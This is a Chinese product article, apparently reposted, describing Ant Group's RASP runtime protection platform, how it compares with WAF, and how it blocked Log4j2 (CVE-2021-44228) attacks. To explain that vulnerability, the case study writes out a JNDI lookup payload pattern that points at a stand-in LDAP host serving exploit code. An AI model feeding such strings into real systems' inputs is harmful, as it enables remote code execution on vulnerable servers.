一文读懂RASP运行时防护平台及应用实践

2023-11-06 14:04

本文主要是介绍一文读懂RASP运行时防护平台及应用实践,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

「云原生安全既是一种全新安全理念,也是实现云战略的前提。

基于蚂蚁集团内部多年实践,云原生PaaS平台SOFAStack发布完整的软件供应链安全产品及解决方案,包括静态代码扫描Pinpoint,软件成分分析SCA,交互式安全测试IAST,运行时防护RASP,安全洞察Appinsight等,帮助企业客户应用软件实现『发布前检测,运行时免疫』。

本周,我们将持续分享解读四大产品。」

昨天,我们解析了应用「运行时漏洞发现」场景的软件供应链安全产品——交互式安全测试 IAST ,本文将着重介绍针对「应用上线后安全防护」场景的软件供应链安全产品——RASP 运行时防护平台

应用安全的防护手段

在应用上线前的安全测试工具包含静态代码安全扫描产品 Pinpoint、软件成分分析 SCA 和交互式安全测试 IAST 等,已基本能保障「上线即安全」,但面临外部持续性侵入或恶意攻击,应用在上线后也会设立重重防线保护应用和数据资产。

据 Imperva 公司表示,50% 的数据泄露始于 Web 应用程序。如今在应用上线后的防御产品中最广泛流行的是 WAF,但 WAF 本身的一些局限性(高误报率、低时效性、极易被绕过等)导致应用仍被恶意攻击,这就迫切需要新的应用防护手段加强应用安全。

因此,应用运行时自我保护技术 RASP(Runt ime Applicat ion Self -Prot ect ion)近几年来备受关注,它是一种将防护能力内置或链接至应用程序内部或其运行时环境中的安全技术,该技术由 Gartner 在 2012 年首次提出。RASP与WAF的本质区别:以服务器端请求伪造漏洞 SSRF 为例,对于明文或编码处理过的请求,WAF 都无法发现,攻击者都会拿到结果;而 RASP 是以应用内部行为作为感知视角,无论外部用什么形式输入,最终要生效都会生成一些特定的执行函数,防御仅需要在关键函数入口处把守即可。

WAF识别

RASP识别

因此,业界一般将 WAF 称为边界防御产品,将 RASP 技术称之为「疫苗技术」,RASP 可以提高应用本身的「免疫力」。

蚂蚁RASP产品能力

蚂蚁 RASP 是一款利用应用运行时自我保护技术来发现威胁攻击行为的安全产品。该产品基于蚂蚁自研通用注入底座平台技术,能够根据 Web 相关漏洞特性将检测策略直接注入到被保护应用的服务中,以提供函数级别的实时保护能力。RASP 还能够根据应用程序调用栈的相似性来防御 0day 漏洞,从而有效规避 Web 应用安全风险、发现应用潜在漏洞,并实现应用安全水位的有效提升。

RASP产品价值:

  • 作用于应用运行时,具备数据级安全检测能力,拦截更精准,无需担忧误报。
  • 与应用业务系统强关联但解耦,实现融合式防护,作为一个「守护神」时刻紧密保护业务安全。
  • 联合 WAF,但不取代 WAF,可与边界防御产品共同保护 Web 应用安全。
  • 加固应用自身安全,使应用程序自身具备防护能力而非依赖外界安全产品

RASP产品优势:

  • 丰富的安全防护能力。OWASP 是开放式 Web 应用程序安全项目组织,该组织 2023 年更新「十大安全漏洞列表」(OWASP TOP10),涵盖了Web 应用程序最可能、最常见、最危险的十大漏洞,可帮助公司规范应用程序开发及测试流程,提高 Web 产品的安全性。蚂蚁 RASP 支持检测 JNDI 注入、FastJSON 漏洞、命令执行、反序列化、SSRF 等数十种攻击类型,覆盖 OWASP TOP10。此外,蚂蚁 RASP 还具备检测反绕过 RASP 的技术能力。
  • 不影响网络架构,对业务性能影响较低。蚂蚁 RASP 采用自研的切面注入技术,在研发测试阶段将 Agent 探针注入到应用运行时环境中,无需业务参与即可进行热补丁修复,可在业务无感知的情况下提高安全水位,不仅完全与业务解耦,而且对应用代码的性能影响较低。经内部压测,对业务启动耗时影响 <0.5s ,对业务运行时耗时影响 <0.001s、对 CPU 占用影响 <3.4%。
  • 毫秒级响应,高精准自动拦截。蚂蚁RASP利用轻量的探针安装包堆砌「围墙」,在不采集任何业务数据和不影响应用程序代码和架构的基础上,通过分析应用的上下文信息来检测每一段请求代码,并获得代码可见性,实现对应用服务器下所有 Java 应用的实时防护。
  • 高可读已操作,降低对安全人员的要求。将复杂、专业的函数级策略配置简单化,将策略以防护能力 Jar 包的方式导入平台,清晰易懂;将晦涩难懂的攻击数据直观化、可视化,使得安全防护更简单、更有效,降低对安全专业人员的要求。
  • 联动防护,加固应用安全。蚂蚁 RASP 可结合 Pinpoint/SAST、SCA、IAST 等安全测试产品实现 DevSecOps 安全解决方案,也可对接 WAF、蜜罐、SOC 等平台实现应用上线后的纵深防御。

案例分析

以拦截实时级漏洞 Log4j 为例:

  • 漏洞简介

Apache Log4j2 是一款开源的 Java 日志记录工具,全球大厂几乎都在使用,影响面极广。

2021年 12 月 10 日,Apache Log4j2 爆出远程代码执行漏洞(CNVD-2021-95914、CVE-2021-44228),影响范围:Apache Log4j 2.x < 2.15.0-rc2 ,称为计算机史上核弹级漏洞,黑客可利用该漏洞构造恶意请求,从而实现在目标服务器上执行任意代码。

  • 问题说明

lookup 机制提供了一种在任意位置向 Log4j2 配置添加值的方法,是实现 StrLookup 接口的特殊类型插件,可以使用简单表达式记录动态内容,例如:logger.info("system propety: ${sys:user.dir}")。Log4j2 中的 JNDI 解析器是本次漏洞的源头,JNDI 解析器通过 JDK 获取 JNDI 对象,并使用这个 JNDI 对象替换原有文本进行打印。JNDI 解析器常用的 Shema 是 ldap,例如
jndi:ldap://xxx.xxx.xxx/Exploit,通过 JDK 在攻击者指定的路径中下载一段字节流,并将其反序列化为 Java 对象然后作为 JNDI 对象返回,同时在反序列化过程中会执行字节流中包含的程序。

因此,攻击者一旦能够控制日志打印的内容,即可使目标服务器从攻击者指定的任意地址下载代码字节流,然后攻击者在字节流中附带的代码就会在目标服务器上执行。

  • RASP防御方案与效果

针对于利用 Log4j2 漏洞执行的恶意操作,如:访问控制失效、用户可任意删除/读取/列出/写入 等,RASP 通过检测文件访问路径是否来自用户输入、是否有路径穿越、是否是敏感路径等来判断拦截与否,达到应急止血、高效拦截的效果。

当时在实际拦截中,RASP具体作用如下:

  • 48 小时完成 93% 高危应用生产环境止血
  • 蚂蚁内部 91.5% 的应用靠 RASP 应急修复

未来展望

目前,蚂蚁 RASP 运行时防护平台已被广泛应用于金融、运营商、制造、互联网等各个行业,并经过实践证明能够有效拦截 0Day 攻击。未来,我们将继续提升 RASP 的防御规则,扩大部署规模,并积极探索与 WAF、蜜罐等安全产品的深度融合,以协助企业实现应用安全治理。同时,我们也将加强 RASP 与其他安全产品的联动,如态势感知、入侵检测等,以实现更全面的安全防护。我们相信,通过不断的技术创新和合作,RASP 将成为企业应用安全治理的重要工具,为企业的数字化转型保驾护航。

这篇关于一文读懂RASP运行时防护平台及应用实践的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/357066

相关文章

java中Optional的核心用法和最佳实践

《java中Optional的核心用法和最佳实践》Java8中Optional用于处理可能为null的值,减少空指针异常,:本文主要介绍java中Optional核心用法和最佳实践的相关资料,文中... 目录前言1. 创建 Optional 对象1.1 常规创建方式2. 访问 Optional 中的值2.1

Nginx Location映射规则总结归纳与最佳实践

《NginxLocation映射规则总结归纳与最佳实践》Nginx的location指令是配置请求路由的核心机制,其匹配规则直接影响请求的处理流程,下面给大家介绍NginxLocation映射规则... 目录一、Location匹配规则与优先级1. 匹配模式2. 优先级顺序3. 匹配示例二、Proxy_pa

Java -jar命令如何运行外部依赖JAR包

《Java-jar命令如何运行外部依赖JAR包》在Java应用部署中,java-jar命令是启动可执行JAR包的标准方式,但当应用需要依赖外部JAR文件时,直接使用java-jar会面临类加载困... 目录引言:外部依赖JAR的必要性一、问题本质:类加载机制的限制1. Java -jar的默认行为2. 类加

Python中文件读取操作漏洞深度解析与防护指南

《Python中文件读取操作漏洞深度解析与防护指南》在Web应用开发中,文件操作是最基础也最危险的功能之一,这篇文章将全面剖析Python环境中常见的文件读取漏洞类型,成因及防护方案,感兴趣的小伙伴可... 目录引言一、静态资源处理中的路径穿越漏洞1.1 典型漏洞场景1.2 os.path.join()的陷

MyBatis编写嵌套子查询的动态SQL实践详解

《MyBatis编写嵌套子查询的动态SQL实践详解》在Java生态中,MyBatis作为一款优秀的ORM框架,广泛应用于数据库操作,本文将深入探讨如何在MyBatis中编写嵌套子查询的动态SQL,并结... 目录一、Myhttp://www.chinasem.cnBATis动态SQL的核心优势1. 灵活性与可

Python使用Tkinter打造一个完整的桌面应用

《Python使用Tkinter打造一个完整的桌面应用》在Python生态中,Tkinter就像一把瑞士军刀,它没有花哨的特效,却能快速搭建出实用的图形界面,作为Python自带的标准库,无需安装即可... 目录一、界面搭建:像搭积木一样组合控件二、菜单系统:给应用装上“控制中枢”三、事件驱动:让界面“活”

java -jar命令运行 jar包时运行外部依赖jar包的场景分析

《java-jar命令运行jar包时运行外部依赖jar包的场景分析》:本文主要介绍java-jar命令运行jar包时运行外部依赖jar包的场景分析,本文给大家介绍的非常详细,对大家的学习或工作... 目录Java -jar命令运行 jar包时如何运行外部依赖jar包场景:解决:方法一、启动参数添加: -Xb

pytest+allure环境搭建+自动化实践过程

《pytest+allure环境搭建+自动化实践过程》:本文主要介绍pytest+allure环境搭建+自动化实践过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录一、pytest下载安装1.1、安装pytest1.2、检测是否安装成功二、allure下载安装2.

使用vscode搭建pywebview集成vue项目实践

《使用vscode搭建pywebview集成vue项目实践》:本文主要介绍使用vscode搭建pywebview集成vue项目实践,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地... 目录环境准备项目源码下载项目说明调试与生成可执行文件核心代码说明总结本节我们使用pythonpywebv

一文彻底搞懂Java 中的 SPI 是什么

《一文彻底搞懂Java中的SPI是什么》:本文主要介绍Java中的SPI是什么,本篇文章将通过经典题目、实战解析和面试官视角,帮助你从容应对“SPI”相关问题,赢得技术面试的加分项,需要的朋... 目录一、面试主题概述二、高频面试题汇总三、重点题目详解✅ 面试题1:Java 的 SPI 是什么?如何实现一个